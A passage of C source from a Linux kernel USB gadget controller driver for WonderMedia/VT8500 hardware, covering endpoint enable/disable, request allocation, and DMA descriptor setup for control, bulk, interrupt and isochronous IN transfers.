ep->ackwait = 0; switch ((ep->bEndpointAddress & 0x7F)) { case 0:/*Control In/Out*/ wmt_ep_setup_csr("ep0", 0, USB_ENDPOINT_XFER_CONTROL, 64); wmb(); pDevReg->ControlEpControl = EP_RUN + EP_ENABLEDMA; break; case 1:/*Bulk In*/ wmt_ep_setup_csr("ep1in-bulk", (USB_DIR_IN | 1), USB_ENDPOINT_XFER_BULK, maxp); wmb(); pDevReg->Bulk1EpControl = EP_RUN + EP_ENABLEDMA; break; case 2:/*Bulk Out*/ wmt_ep_setup_csr("ep2out-bulk", (USB_DIR_OUT | 2), USB_ENDPOINT_XFER_BULK, maxp); wmb(); pDevReg->Bulk2EpControl = EP_RUN + EP_ENABLEDMA; break; case 3:/*Interrupt In*/ #ifdef USE_BULK3_TO_INTERRUPT if (f_ep3_used == 4) return -ERANGE; f_ep3_used = 3; wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, maxp); wmb(); pDevReg->Bulk3EpControl = EP_RUN + EP_ENABLEDMA; #else wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, maxp); wmb(); pDevReg->InterruptEpControl = EP_RUN + EP_ENABLEDMA; #endif break; case 4:/*iso in*/ if (f_ep3_used == 3) return -ERANGE; f_ep3_used = 4; wmt_ep_setup_csr("ep4in-iso", (USB_DIR_IN | 4), USB_ENDPOINT_XFER_ISOC, 384); wmb(); wmt_pdma2_reset(); iso_prepare_0byte(); pDevReg->Bulk3EpControl = EP_RUN + EP_ENABLEDMA; break; } wmb(); spin_unlock_irqrestore(&udc->lock, irq_flags); VDBG("%s enabled\n", _ep->name); // printk(KERN_INFO "gri enabled %s\n", ep ? ep->ep.name : NULL); return 0; } /*static int wmt_ep_enable()*/ static void nuke(struct vt8500_ep *, int status); static int wmt_ep_disable(struct usb_ep *_ep) { struct vt8500_ep *ep = container_of(_ep, struct vt8500_ep, ep); // unsigned long flags; DBG("wmt_ep_disable() %s\n", ep ? ep->ep.name : NULL); if (!_ep || !ep->desc) { DBG("[wmt_ep_disable], %s not enabled\n", _ep ? ep->ep.name : NULL); return -EINVAL; } spin_lock_irqsave(&ep->udc->lock, irq_flags); ep->desc = 0; nuke(ep, -ESHUTDOWN); ep->ep.maxpacket = ep->maxpacket; ep->has_dma = 0; del_timer(&ep->timer); switch ((ep->bEndpointAddress & 0x7F)) { case 0:/*Control In/Out*/ pDevReg->ControlEpControl &= 0xFC; break; case 1:/*Bulk In*/ pDevReg->Bulk1EpControl &= 0xFC; break; case 2:/*Bulk Out*/ pDevReg->Bulk2EpControl &= 0xFC; break; case 3:/*Interrupt In*/ #ifdef USE_BULK3_TO_INTERRUPT if (f_ep3_used == 3) f_ep3_used = 0; pDevReg->Bulk3EpControl &= 0xFC; #else pDevReg->InterruptEpControl &= 0xFC; #endif break; case 4:/*Iso In*/ if (f_ep3_used == 4) f_ep3_used = 0; pDevReg->Bulk3EpControl &= 0xFC; fiq_using = 0; break; } wmb(); spin_unlock_irqrestore(&ep->udc->lock, irq_flags); VDBG("%s disabled\n", _ep->name); return 0; } /*static int wmt_ep_disable()*/ static struct usb_request * wmt_alloc_request(struct usb_ep *_ep, gfp_t gfp_flags) { struct vt8500_req *req; struct vt8500_ep *ep = NULL; // DBG("gri wmt_alloc_request() %s\n", ep->name); ep = container_of(_ep, struct vt8500_ep, ep); // printk(KERN_INFO "gri wmt_alloc_request() %s\n", ep->name); // if ((ep->bEndpointAddress & 0x7F) > 4) // return NULL; /*if(ep->bEndpointAddress == 3)*/ /* INFO("wmt_alloc_request() %s\n", ep->name);*/ req = kmalloc(sizeof *req, gfp_flags); if (req) { memset(req, 0, sizeof *req); req->req.dma = DMA_ADDR_INVALID; INIT_LIST_HEAD(&req->queue); } return &req->req;/*struct usb_request for file_storage.o*/ } /*wmt_alloc_request()*/ static void wmt_free_request(struct usb_ep *_ep, struct usb_request *_req) { struct vt8500_req *req = container_of(_req, struct vt8500_req, req); struct vt8500_ep *ep = NULL; DBG("wmt_free_request() %s\n", ep->name); ep = container_of(_ep, struct vt8500_ep, ep); /*if(ep->bEndpointAddress == 3)*/ /* INFO("wmt_free_request() %s\n", ep->name);*/ if (_req) kfree(req); } /*wmt_free_request()*/ /*EP0 - Control 256 bytes*/ /*EP2,3 Bulk In/Out 16384 bytes (16K)*/ /*file_storeage.c - req->buf*/ /*struct usb_request req;*/ static void wmt_pdma_init(struct device *dev); static void ep0_status(struct vt8500_udc *udc) { struct vt8500_ep *ep; ep = &udc->ep[0]; if (udc->ep0_in) { /*OUT STATUS*/ if (udc->ep0_status_0_byte == 1) { udc->ep0_status_0_byte = 0; /* the data phase is OUT*/ if (ep->toggle_bit) pDevReg->ControlDesTbytes = 0x40|CTRLXFER_DATA1; else pDevReg->ControlDesTbytes = 0x40|CTRLXFER_DATA0; pDevReg->ControlDesControl = CTRLXFER_OUT+CTRLXFER_IOC; wmb(); pDevReg->ControlDesStatus = CTRLXFER_ACTIVE; ControlState = CONTROLSTATE_STATUS; } /*if(udc->ep0_status_0_byte == 1)*/ } else { /*IN STATUS*/ if (udc->ep0_status_0_byte == 1) { udc->ep0_status_0_byte = 0; if (ep->toggle_bit) pDevReg->ControlDesTbytes = 0x00 | CTRLXFER_DATA1; else pDevReg->ControlDesTbytes = 0x00 | CTRLXFER_DATA0; pDevReg->ControlDesTbytes = 0x00 | CTRLXFER_DATA1; /* zero length*/ pDevReg->ControlDesControl = CTRLXFER_IN + CTRLXFER_IOC; wmb(); pDevReg->ControlDesStatus = CTRLXFER_ACTIVE; ControlState = CONTROLSTATE_STATUS; } /*if(udc->ep0_status_0_byte == 1)*/ } } /*static void ep0_status(struct vt8500_udc *udc)*/ static void done(struct vt8500_ep *ep, struct vt8500_req *req, int status) { unsigned stopped = ep->stopped; DBG("done() %s\n", ep ? ep->ep.name : NULL); list_del_init(&req->queue); /*#define EINPROGRESS 115*/ /* Operation now in progress */ if (req->req.status == -EINPROGRESS) req->req.status = status; else { if (status != 0) status = req->req.status; } DBG("complete %s req %p stat %d len %u/%u\n", ep->ep.name, &req->req, status, req->req.actual, req->req.length); /* don't modify queue heads during completion callback*/ ep->stopped = 1; spin_unlock_irqrestore(&ep->udc->lock, irq_flags); req->req.complete(&ep->ep, &req->req); spin_lock_irqsave(&ep->udc->lock, irq_flags); if ((ep->bEndpointAddress & 0x7F) == 0)/*Control*/ { if (req->req.actual != 0) { ep->udc->ep0_status_0_byte = 1; } } #if 0 else printk("**done() %s\n", ep ? ep->ep.name : NULL); #endif ep->stopped = stopped; } /*done(struct vt8500_ep *ep, struct vt8500_req *req, int status)*/ static u32 dma_src_len(struct vt8500_ep *ep, struct vt8500_req *req) { /*dma_addr_t end;*/ /*U32 ep_trans_len;*/ unsigned start = 0 , end = 0; u32 temp32 = 0; start = req->req.length; if ((ep->bEndpointAddress & 0x7F) == 0) {/*Control In*/ end = (pDevReg->ControlDesTbytes & 0x7F); temp32 = (ep->ep_fifo_length - end); return temp32; } else if ((ep->bEndpointAddress & 0x7F) == 1) {/*Bulk In*/ end = (pDevReg->Bulk1DesTbytes2 & 0x03) << 16; end |= pDevReg->Bulk1DesTbytes1 << 8; end |= pDevReg->Bulk1DesTbytes0; } else if ((ep->bEndpointAddress & 0x7F) == 3)/*Interrupt In*/ { #ifdef USE_BULK3_TO_INTERRUPT end = (pDevReg->Bulk3DesTbytes2 & 0x03) << 16; end |= pDevReg->Bulk3DesTbytes1 << 8; end |= pDevReg->Bulk3DesTbytes0; #else start = req->dma_bytes; end = (pDevReg->InterruptDes >> 4); #endif } else if ((ep->bEndpointAddress & 0x7F) == 4)/*Iso In*/ { end = 0; } temp32 = (start - end); return temp32; } /*static u32 dma_src_len()*/ static u32 dma_dest_len(struct vt8500_ep *ep, struct vt8500_req *req) { /*dma_addr_t end;*/ unsigned start = 0 , end = 0; u32 temp32 = 0; start = req->req.length; if ((ep->bEndpointAddress & 0x7F) == 0) {/*Control Out*/ end = (pDevReg->ControlDesTbytes & 0x7F); temp32 = (ep->ep_fifo_length - end); return temp32; } else if (ep->bEndpointAddress == 2) {/*Bulk Out*/ end = (pDevReg->Bulk2DesTbytes2 & 0x03) << 16; end |= pDevReg->Bulk2DesTbytes1 << 8; end |= pDevReg->Bulk2DesTbytes0; } temp32 = (start - end); return temp32; } /*static u32 dma_dest_len()*/ /* Each USB transfer request using DMA maps to one or more DMA transfers. * When DMA completion isn't request completion, the UDC continues with * the next DMA transfer for that USB transfer. */ static void wmt_udc_pdma_des_prepare(unsigned int size, unsigned int dma_phy , unsigned char des_type, unsigned char channel, int is_bulk) { unsigned int res_size = size; volatile unsigned int trans_dma_phy = dma_phy, des_phy_addr = 0, des_vir_addr = 0; unsigned int cut_size = 0x40; switch (des_type) { case DESCRIPTOT_TYPE_SHORT: { struct _UDC_PDMA_DESC_S *pDMADescS; if (channel == TRANS_OUT) { des_phy_addr = (unsigned int) UdcPdmaPhyAddrSO; des_vir_addr = UdcPdmaVirAddrSO; pUdcDmaReg->DMA_Descriptor_Point1 = (unsigned int)(des_phy_addr); cut_size = pDevReg->Bulk2EpMaxLen & 0x3ff; } else if (channel == TRANS_IN) { if (is_bulk) { des_phy_addr = (unsigned int) UdcPdmaPhyAddrSI; des_vir_addr = UdcPdmaVirAddrSI; pUdcDmaReg->DMA_Descriptor_Point0 = (unsigned int)(des_phy_addr); cut_size = pDevReg->Bulk1EpMaxLen & 0x3ff; } else { des_phy_addr = (unsigned int) UdcPdmaPhyAddrS2I; des_vir_addr = UdcPdmaVirAddrS2I; pUdcDmaReg->DMA_Descriptor_Point2 = (unsigned int)(des_phy_addr); cut_size = pDevReg->Bulk3EpMaxLen & 0x3ff; } } else DBG("!! wrong channel %d\n", channel); while (res_size) { pDMADescS = (struct _UDC_PDMA_DESC_S *) des_vir_addr; pDMADescS->Data_Addr = trans_dma_phy; pDMADescS->D_Word0_Bits.Format = 0; // if (res_size <= 65535) { if (res_size <= 32767) { pDMADescS->D_Word0_Bits.i = 1; pDMADescS->D_Word0_Bits.End = 1; pDMADescS->D_Word0_Bits.ReqCount = res_size; res_size -= res_size; } else { pDMADescS->D_Word0_Bits.i = 0; pDMADescS->D_Word0_Bits.End = 0; pDMADescS->D_Word0_Bits.ReqCount = 0x8000 - cut_size; res_size -= 0x8000; des_vir_addr += (unsigned int)DES_S_SIZE; trans_dma_phy += (unsigned int)0x8000; } } break; } case DESCRIPTOT_TYPE_LONG: { struct _UDC_PDMA_DESC_L *pDMADescL; if (channel == TRANS_OUT) { des_phy_addr = (unsigned int) UdcPdmaPhyAddrLO; des_vir_addr = UdcPdmaVirAddrLO; pUdcDmaReg->DMA_Descriptor_Point1 = (unsigned int)(des_phy_addr); cut_size = pDevReg->Bulk2EpMaxLen & 0x3ff; // printk(KERN_INFO "wmt_udc_pdma_des_prepare() pUdcDmaReg->DMA_Descriptor_Point=0x%08X", // pUdcDmaReg->DMA_Descriptor_Point1); //gri // printk(KERN_INFO "des_vir_addr=0x%08X", // des_vir_addr); //gri } else if (channel == TRANS_IN) { if (is_bulk){ des_phy_addr = (unsigned int) UdcPdmaPhyAddrLI; des_vir_addr = UdcPdmaVirAddrLI; pUdcDmaReg->DMA_Descriptor_Point0 = (unsigned int)(des_phy_addr); cut_size = pDevReg->Bulk1EpMaxLen & 0x3ff; // printk(KERN_INFO "wmt_udc_pdma_des_prepare() pUdcDmaReg->DMA_Descriptor_Point=0x%08X", // pUdcDmaReg->DMA_Descriptor_Point0); //gri // printk(KERN_INFO "des_vir_addr=0x%08X", // des_vir_addr); //gri } else { des_phy_addr = (unsigned int) UdcPdmaPhyAddrL2I; des_vir_addr = UdcPdmaVirAddrL2I; pUdcDmaReg->DMA_Descriptor_Point2 = (unsigned int)(des_phy_addr); cut_size = pDevReg->Bulk3EpMaxLen & 0x3ff; // printk(KERN_INFO "wmt_udc_pdma_des_prepare() pUdcDmaReg->DMA_Descriptor_Point2=0x%08X", // pUdcDmaReg->DMA_Descriptor_Point2); //gri // printk(KERN_INFO "des_vir_addr 2 =0x%08X", // des_vir_addr); //gri } } else DBG("!! wrong channel %d\n", channel); memset((void *)des_vir_addr, 0, 0x100); while (res_size) { pDMADescL = (struct _UDC_PDMA_DESC_L *) des_vir_addr; pDMADescL->Data_Addr = trans_dma_phy; pDMADescL->D_Word0_Bits.Format = 1; // if (res_size <= 65535) { if (res_size <= 32767) { pDMADescL->D_Word0_Bits.i = 1; pDMADescL->D_Word0_Bits.End = 1; pDMADescL->Branch_addr = 0; pDMADescL->D_Word0_Bits.ReqCount = res_size; res_size -= res_size; } else { pDMADescL->D_Word0_Bits.i = 0; pDMADescL->D_Word0_Bits.End = 0; pDMADescL->Branch_addr = des_vir_addr + (unsigned int)DES_L_SIZE; pDMADescL->D_Word0_Bits.ReqCount = 0x8000 - cut_size; res_size -= 0x8000; des_vir_addr += (unsigned int)DES_L_SIZE; trans_dma_phy += (unsigned int)0x8000; } } #if 0 if (channel == TRANS_IN) { if (!is_bulk) { printk(KERN_INFO "pDMADescL(0x%08X)\n", des_vir_addr); //gri printk(KERN_INFO "D_Word0(0x%08X)\n", pDMADescL->D_Word0); //gri printk(KERN_INFO "Data_Addr(0x%08X)\n", pDMADescL->Data_Addr); //gri printk(KERN_INFO "Branch_addr(0x%08X)\n", pDMADescL->Branch_addr); //gri } else { printk(KERN_INFO "pDMADescL(0x%08X)\n", des_vir_addr); //gri printk(KERN_INFO "D_Word0(0x%08X)\n", pDMADescL->D_Word0); //gri printk(KERN_INFO "Data_Addr(0x%08X)\n", pDMADescL->Data_Addr); //gri printk(KERN_INFO "Branch_addr(0x%08X)\n", pDMADescL->Branch_addr); //gri } } #endif break; } case DESCRIPTOT_TYPE_MIX: break; default: break; } //wmb(); } /*wmt_udc_pdma_des_prepare*/ void iso_prepare_0byte(void) { unsigned char ubulk3tmp; ubulk3tmp = pDevReg->Bulk3EpControl; pDevReg->Bulk3EpControl = EP_DMALIGHTRESET; while (pDevReg->Bulk3EpControl & EP_DMALIGHTRESET) ; pDevReg->Bulk3DesStatus = 0; pDevReg->Bulk3DesTbytes2 = 0; pDevReg->Bulk3DesTbytes1 = 0; pDevReg->Bulk3DesTbytes0 = 0; pDevReg->Bulk3EpControl = ubulk3tmp; /* set endpoint data toggle*/ pDevReg->Bulk3DesStatus = (BULKXFER_IOC | BULKXFER_IN); //wmb(); pDevReg->Bulk3DesStatus |= BULKXFER_ACTIVE; } void next_in_dma(struct vt8500_ep *ep, struct vt8500_req *req) { u32 temp32; u32 dma_ccr = 0; unsigned int length; u32 dcmd; u32 buf; int is_in, i; u8 *pctrlbuf; #ifndef USE_BULK3_TO_INTERRUPT u8 *pintbuf; #endif // printk(KERN_INFO "next_in_dma s\n"); //gri dcmd = length = req->req.length - req->req.actual;/*wmt_ep_queue() : req->req.actual = 0*/ buf = ((req->req.dma + req->req.actual) & 0xFFFFFFFC); is_in = 1;/*ep->bEndpointAddress & USB_DIR_IN;*/ DBG("next_in_dma() %s\n", ep ? ep->ep.name : NULL); #ifdef RNDIS_INFO_DEBUG_BULK_IN if ((ep->bEndpointAddress & 0x7F) == 1) INFO("next_in_dma() %s\n", ep ? ep->ep.name : NULL); #endif if (((ep->bEndpointAddress & 0x7F) == 1) && (req->req.dma == 0xFFFFFFFF) && (ep->rndis == 0)) { unsigned int dma_length = 65536; printk(KERN_INFO "rndis xxxxx %d\n",req->req.length); if (ep->rndis_buffer_alloc == 0) { ep->rndis_buffer_address = (unsigned int)UdcRndisEp1VirAddr; ep->rndis_dma_phy_address = (u32)UdcRndisEp1PhyAddr; ep->rndis_buffer_length = dma_length; ep->rndis_buffer_alloc = 1; } ep->rndis = 1; } #ifdef USE_BULK3_TO_INTERRUPT if (((ep->bEndpointAddress & 0x7F) == 3) && (req->req.dma == 0xFFFFFFFF) && (ep->rndis == 0)) { unsigned int dma_length = 65536; //printk(KERN_INFO "rndis 3 xxxxx %d\n",req->req.length); if (ep->rndis_buffer_alloc == 0) { ep->rndis_buffer_address = (unsigned int)UdcRndisEp3VirAddr; ep->rndis_dma_phy_address = (u32)UdcRndisEp3PhyAddr; ep->rndis_buffer_length = dma_length; ep->rndis_buffer_alloc = 1; } ep->rndis = 1; } #endif if (((ep->bEndpointAddress & 0x7F) == 4) && (req->req.dma == 0xFFFFFFFF) && (ep->rndis == 0)) { unsigned int dma_length = 65536; //printk(KERN_INFO "rndis 3 xxxxx %d\n",req->req.length); if (ep->rndis_buffer_alloc == 0) { ep->rndis_buffer_address = (unsigned int)UdcRndisEp3VirAddr; ep->rndis_dma_phy_address = (u32)UdcRndisEp3PhyAddr; ep->rndis_buffer_length = dma_length; ep->rndis_buffer_alloc = 1; } ep->rndis = 1; } if (((ep->bEndpointAddress & 0x7F) == 1) && (ep->rndis == 1) && (req->req.length > ep->rndis_buffer_length)) { //void *retval; //dma_addr_t dma; printk(KERN_INFO "rndis ooooobb %d\n",req->req.length); } #ifdef USE_BULK3_TO_INTERRUPT if (((ep->bEndpointAddress & 0x7F) == 3) && (ep->rndis == 1) && (req->req.length > ep->rndis_buffer_length)) { //void *retval; //dma_addr_t dma; //printk(KERN_INFO "rndis 3 ooooobb %d\n",req->req.length); } #endif if ((ep->bEndpointAddress & 0x7F) == 0) {/*Control*/ ep->ep_fifo_length = 0; if (length >= 64) length = 64; ep->ep_fifo_length = length; pctrlbuf = (u8 *)(req->req.buf + req->req.actual); for (i = 0; i < length; i++) SetupBuf[i] = pctrlbuf[i]; if (ep->toggle_bit) pDevReg->ControlDesTbytes = length | CTRLXFER_DATA1; else pDevReg->ControlDesTbytes = length | CTRLXFER_DATA0; pDevReg->ControlDesControl = CTRLXFER_IN + CTRLXFER_IOC; wmb(); pDevReg->ControlDesStatus = CTRLXFER_ACTIVE; ControlState = CONTROLSTATE_DATA; if (ep->toggle_bit == 0) ep->toggle_bit = 1; else ep->toggle_bit = 0; } else if (((ep->bEndpointAddress & 0x7F) == 1)) {/*Bulk In*/ ep->stall_more_processing = 0; // printk(KERN_INFO "next_in_dma %d %d %d\n", length, req->req.length,req->req.actual); //gri if (dcmd > UBE_MAX_DMA) dcmd = UBE_MAX_DMA; if (pDevReg->Bulk1EpControl & EP_STALL) { ep->stall_more_processing = 1; ep->temp_dcmd = dcmd; } if (ep->rndis == 1) { memcpy((void *)((u32)ep->rndis_buffer_address), (void *)((u32)req->req.buf), length); wmt_udc_pdma_des_prepare(dcmd, ((ep->rndis_dma_phy_address + req->req.actual) & 0xFFFFFFFC), DESCRIPTOT_TYPE_LONG, TRANS_IN, 1); } else wmt_udc_pdma_des_prepare(dcmd, buf, DESCRIPTOT_TYPE_LONG, TRANS_IN, 1); if (pDevReg->Bulk1EpControl & EP_STALL) ep->temp_bulk_dma_addr = buf; if (pDevReg->Bulk1EpControl & EP_STALL) ep->temp_dma_ccr = dma_ccr; pDevReg->Bulk1DesStatus = 0x00; pDevReg->Bulk1DesTbytes2 |= (dcmd >> 16) & 0x3; pDevReg->Bulk1DesTbytes1 = (dcmd >> 8) & 0xFF; pDevReg->Bulk1DesTbytes0 = dcmd & 0xFF; /* set endpoint data toggle*/ if (is_in) { if (ep->toggle_bit) pDevReg->Bulk1DesTbytes2 |= 0x40;/* BULKXFER_DATA1;*/ else pDevReg->Bulk1DesTbytes2 &= 0xBF;/*(~BULKXFER_DATA1);*/ pDevReg->Bulk1DesStatus = (BULKXFER_IOC | BULKXFER_IN); } /*if(is_in)*/ if (pDevReg->Bulk1EpControl & EP_STALL) ep->ep_stall_toggle_bit = ep->toggle_bit; /*if((ep->bEndpointAddress & 0x7F) != 0)//!Control*/ if (req->req.length > ep->maxpacket) { /*ex : 512 /64 = 8 8 % 2 = 0*/ temp32 = (req->req.length + ep->maxpacket - 1) / ep->maxpacket; ep->toggle_bit = ((temp32 + ep->toggle_bit) % 2); } else { if (ep->toggle_bit == 0) ep->toggle_bit = 1; else ep->toggle_bit = 0; } /* DMA Channel Control Reg*/ /* Software Request + Channel Enable*/ dma_ccr = 0; dma_ccr = DMA_RUN; if (!is_in) dma_ccr |= DMA_TRANS_OUT_DIR; if (dcmd) /* PDMA can not support 0 byte transfer*/ pUdcDmaReg->DMA_Context_Control0 = dma_ccr; wmb(); pDevReg->Bulk1DesStatus |= BULKXFER_ACTIVE; } else if ((ep->bEndpointAddress & 0x7F) == 3) {/*Interrupt In*/ #ifdef USE_BULK3_TO_INTERRUPT ep->stall_more_processing = 0; // printk(KERN_INFO "next_in_dma %d %d %d\n", length, req->req.length,req->req.actual); //gri if (dcmd > UBE_MAX_DMA) dcmd = UBE_MAX_DMA; if (pDevReg->Bulk3EpControl & EP_STALL) { ep->stall_more_processing = 1; ep->temp_dcmd = dcmd; } if (ep->rndis == 1) { memcpy((void *)((u32)ep->rndis_buffer_address), (void *)((u32)req->req.buf), length); wmt_udc_pdma_des_prepare(dcmd, ((ep->rndis_dma_phy_address + req->req.actual) & 0xFFFFFFFC), DESCRIPTOT_TYPE_LONG, TRANS_IN, 0); } else wmt_udc_pdma_des_prepare(dcmd, buf, DESCRIPTOT_TYPE_LONG, TRANS_IN, 0); if (pDevReg->Bulk3EpControl & EP_STALL) ep->temp_bulk_dma_addr = buf; if (pDevReg->Bulk3EpControl & EP_STALL) ep->temp_dma_ccr = dma_ccr; pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk3DesTbytes2 |= (dcmd >> 16) & 0x3; pDevReg->Bulk3DesTbytes1 = (dcmd >> 8) & 0xFF; pDevReg->Bulk3DesTbytes0 = dcmd & 0xFF; /* set endpoint data toggle*/ if (is_in) { if (ep->toggle_bit) pDevReg->Bulk3DesTbytes2 |= 0x40;/* BULKXFER_DATA1;*/ else pDevReg->Bulk3DesTbytes2 &= 0xBF;/*(~BULKXFER_DATA1);*/ pDevReg->Bulk3DesStatus = (BULKXFER_IOC | BULKXFER_IN); } /*if(is_in)*/ if (pDevReg->Bulk3EpControl & EP_STALL) ep->ep_stall_toggle_bit = ep->toggle_bit; /*if((ep->bEndpointAddress & 0x7F) != 0)//!Control*/ if (req->req.length > ep->maxpacket) { /*ex : 512 /64 = 8 8 % 2 = 0*/ temp32 = (req->req.length + ep->maxpacket - 1) / ep->maxpacket; ep->toggle_bit = ((temp32 + ep->toggle_bit) % 2); } else { if (ep->toggle_bit == 0) ep->toggle_bit = 1; else ep->toggle_bit = 0; } /* DMA Channel Control Reg*/ /* Software Request + Channel Enable*/ dma_ccr = 0; //dma_ccr = DMA_RUN; if (!is_in) dma_ccr |= DMA_TRANS_OUT_DIR; wmb(); if (dcmd) /* PDMA can not support 0 byte transfer*/ pUdcDmaReg->DMA_Context_Control2 = dma_ccr; dma_ccr |= DMA_RUN; wmb(); if (dcmd) /* PDMA can not support 0 byte transfer*/ pUdcDmaReg->DMA_Context_Control2 = dma_ccr; wmb(); pDevReg->Bulk3DesStatus |= BULKXFER_ACTIVE; #else //printk(KERN_INFO "udc interrupt\n"); if (dcmd > INT_FIFO_SIZE) dcmd = INT_FIFO_SIZE; interrupt_transfer_size = dcmd; pintbuf = (u8 *)(req->req.buf);/* + req->req.actual);*/ for (i = req->req.actual; i < (req->req.actual + dcmd); i++) IntBuf[(i-req->req.actual)] = pintbuf[i]; pDevReg->InterruptDes = 0x00; pDevReg->InterruptDes = (dcmd << 4); if (ep->toggle_bit) pDevReg->InterruptDes |= INTXFER_DATA1; else pDevReg->InterruptDes &= 0xF7; if (ep->toggle_bit == 0) ep->toggle_bit = 1; else ep->toggle_bit = 0; pDevReg->InterruptDes |= INTXFER_IOC; wmb(); pDevReg->InterruptDes |= INTXFER_ACTIVE; #endif } else if ((ep->bEndpointAddress & 0x7F) == 4) {/*Iso In*/ unsigned char tmp; tmp = pDevReg->Bulk3EpControl; pDevReg->Bulk3EpControl = EP_DMALIGHTRESET; while (pDevReg->Bulk3EpControl & EP_DMALIGHTRESET) ; pDevReg->Bulk3EpControl = tmp; wmt_pdma2_reset(); ep->stall_more_processing = 0; //printk(KERN_INFO "next_in_dma 4 %d %d %d\n", length, req->req.length,req->req.actual); //gri //printk(KERN_INFO "next_in_dma 4\n"); //gri if (dcmd > UBE_MAX_DMA) dcmd = UBE_MAX_DMA; if (pDevReg->Bulk3EpControl & EP_STALL) { ep->stall_more_processing = 1; ep->temp_dcmd = dcmd; } if (ep->rndis == 1) { memcpy((void *)((u32)ep->rndis_buffer_address), (void *)((u32)req->req.buf), length); wmt_udc_pdma_des_prepare(dcmd, ((ep->rndis_dma_phy_address + req->req.actual) & 0xFFFFFFFC), DESCRIPTOT_TYPE_LONG, TRANS_IN, 0); } else wmt_udc_pdma_des_prepare(dcmd, buf, DESCRIPTOT_TYPE_LONG, TRANS_IN, 0); if (pDevReg->Bulk3EpControl & EP_STALL) ep->temp_bulk_dma_addr = buf; if (pDevReg->Bulk3EpControl & EP_STALL) ep->temp_dma_ccr = dma_ccr; pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk3DesTbytes2 |= (dcmd >> 16) & 0x3; pDevReg->Bulk3DesTbytes1 = (dcmd >> 8) & 0xFF; pDevReg->Bulk3DesTbytes0 = dcmd & 0xFF; /* set endpoint data toggle*/ if (is_in) { pDevReg->Bulk3DesTbytes2 &= 0xBF;/*(~BULKXFER_DATA1);*/ pDevReg->Bulk3DesStatus = (BULKXFER_IOC | BULKXFER_IN); } /*if(is_in)*/ if (pDevReg->Bulk3EpControl & EP_STALL) ep->ep_stall_toggle_bit = ep->toggle_bit; /*if((ep->bEndpointAddress & 0x7F) != 0)//!Control*/ ep->toggle_bit = 0; /* DMA Channel Control Reg*/ /* Software Request + Channel Enable*/ dma_ccr = 0; //dma_ccr = DMA_RUN; if (!is_in) dma_ccr |= DMA_TRANS_OUT_DIR; // wmb(); if (dcmd) /* PDMA can not support 0 byte transfer*/ pUdcDmaReg->DMA_Context_Control2 = dma_ccr; dma_ccr |= DMA_RUN; // wmb(); if (dcmd) /* PDMA can not support 0 byte transfer*/ pUdcDmaReg->DMA_Context_Control2 = dma_ccr; // wmb(); pDevReg->Bulk3DesStatus |= BULKXFER_ACTIVE; fiq_using = 1; wmt_enable_fiq(300); //run_script(action_chkiso); } DBG("req->req.dma 0x%08X \n", req->req.dma); #ifdef MSC_COMPLIANCE_TEST INFO("req->req.dma 0x%08X \n", req->req.dma); #endif req->dma_bytes = dcmd;//length; #if 0 if (((ep->bEndpointAddress & 0x7F) == 3) || ((ep->bEndpointAddress & 0x7F) == 4)) { printk(KERN_INFO "next_in_dma 3 e\n"); //gri printk(KERN_INFO "Bulk3EpInEpNum =0x%2.2x\n", pDevReg->Bulk3EpInEpNum); //gri printk(KERN_INFO "Bulk3EpMaxLen =0x%2.2x\n", pDevReg->Bulk3EpMaxLen); //gri printk(KERN_INFO "Bulk3EpOutEpNum =0x%2.2x\n", pDevReg->Bulk3EpOutEpNum); //gri printk(KERN_INFO "Bulk3EpControl =0x%2.2x\n", pDevReg->Bulk3EpControl); //gri printk(KERN_INFO "Bulk3DesTbytes2 =0x%2.2x\n", pDevReg->Bulk3DesTbytes2); //gri printk(KERN_INFO "Bulk3DesTbytes1 =0x%2.2x\n", pDevReg->Bulk3DesTbytes1); //gri printk(KERN_INFO "Bulk3DesTbytes0 =0x%2.2x\n", pDevReg->Bulk3DesTbytes0); //gri printk(KERN_INFO "Bulk3DesStatus =0x%2.2x\n", pDevReg->Bulk3DesStatus); //gri printk(KERN_INFO "DMA_Descriptor_Point2 =0x%8.8x\n", pUdcDmaReg->DMA_Descriptor_Point2); //gri printk(KERN_INFO "DMA_Residual_Bytes2 =0x%8.8x\n", pUdcDmaReg->DMA_Residual_Bytes2); //gri printk(KERN_INFO "DMA_Data_Addr2 =0x%8.8x\n", pUdcDmaReg->DMA_Data_Addr2); //gri printk(KERN_INFO "DMA_Branch_Addr2 =0x%8.8x\n", pUdcDmaReg->DMA_Branch_Addr2); //gri printk(KERN_INFO "Descriptor_Addr2 =0x%8.8x\n", pUdcDmaReg->Descriptor_Addr2); //gri printk(KERN_INFO "DMA_Context_Control2 =0x%8.8x\n", pUdcDmaReg->DMA_Context_Control2); //gri } else if ((ep->bEndpointAddress & 0x7F) == 1) { printk(KERN_INFO "next_in_dma 1 e\n"); //gri printk(KERN_INFO "Bulk1EpInEpNum =0x%2.2x\n", pDevReg->Bulk1EpInEpNum); //gri printk(KERN_INFO "Bulk1EpMaxLen =0x%2.2x\n", pDevReg->Bulk1EpMaxLen); //gri printk(KERN_INFO "Bulk1EpOutEpNum =0x%2.2x\n", pDevReg->Bulk1EpOutEpNum); //gri printk(KERN_INFO "Bulk1EpControl =0x%2.2x\n", pDevReg->Bulk1EpControl); //gri printk(KERN_INFO "Bulk1DesTbytes2 =0x%2.2x\n", pDevReg->Bulk1DesTbytes2); //gri printk(KERN_INFO "Bulk1DesTbytes1 =0x%2.2x\n", pDevReg->Bulk1DesTbytes1); //gri printk(KERN_INFO "Bulk1DesTbytes0 =0x%2.2x\n", pDevReg->Bulk1DesTbytes0); //gri printk(KERN_INFO "Bulk1DesStatus =0x%2.2x\n", pDevReg->Bulk1DesStatus); //gri printk(KERN_INFO "DMA_Descriptor_Point2 =0x%8.8x\n", pUdcDmaReg->DMA_Descriptor_Point0); //gri printk(KERN_INFO "DMA_Residual_Bytes2 =0x%8.8x\n", pUdcDmaReg->DMA_Residual_Bytes0); //gri printk(KERN_INFO "DMA_Data_Addr2 =0x%8.8x\n", pUdcDmaReg->DMA_Data_Addr0); //gri printk(KERN_INFO "DMA_Branch_Addr2 =0x%8.8x\n", pUdcDmaReg->DMA_Branch_Addr0); //gri printk(KERN_INFO "Descriptor_Addr2 =0x%8.8x\n", pUdcDmaReg->Descriptor_Addr0); //gri 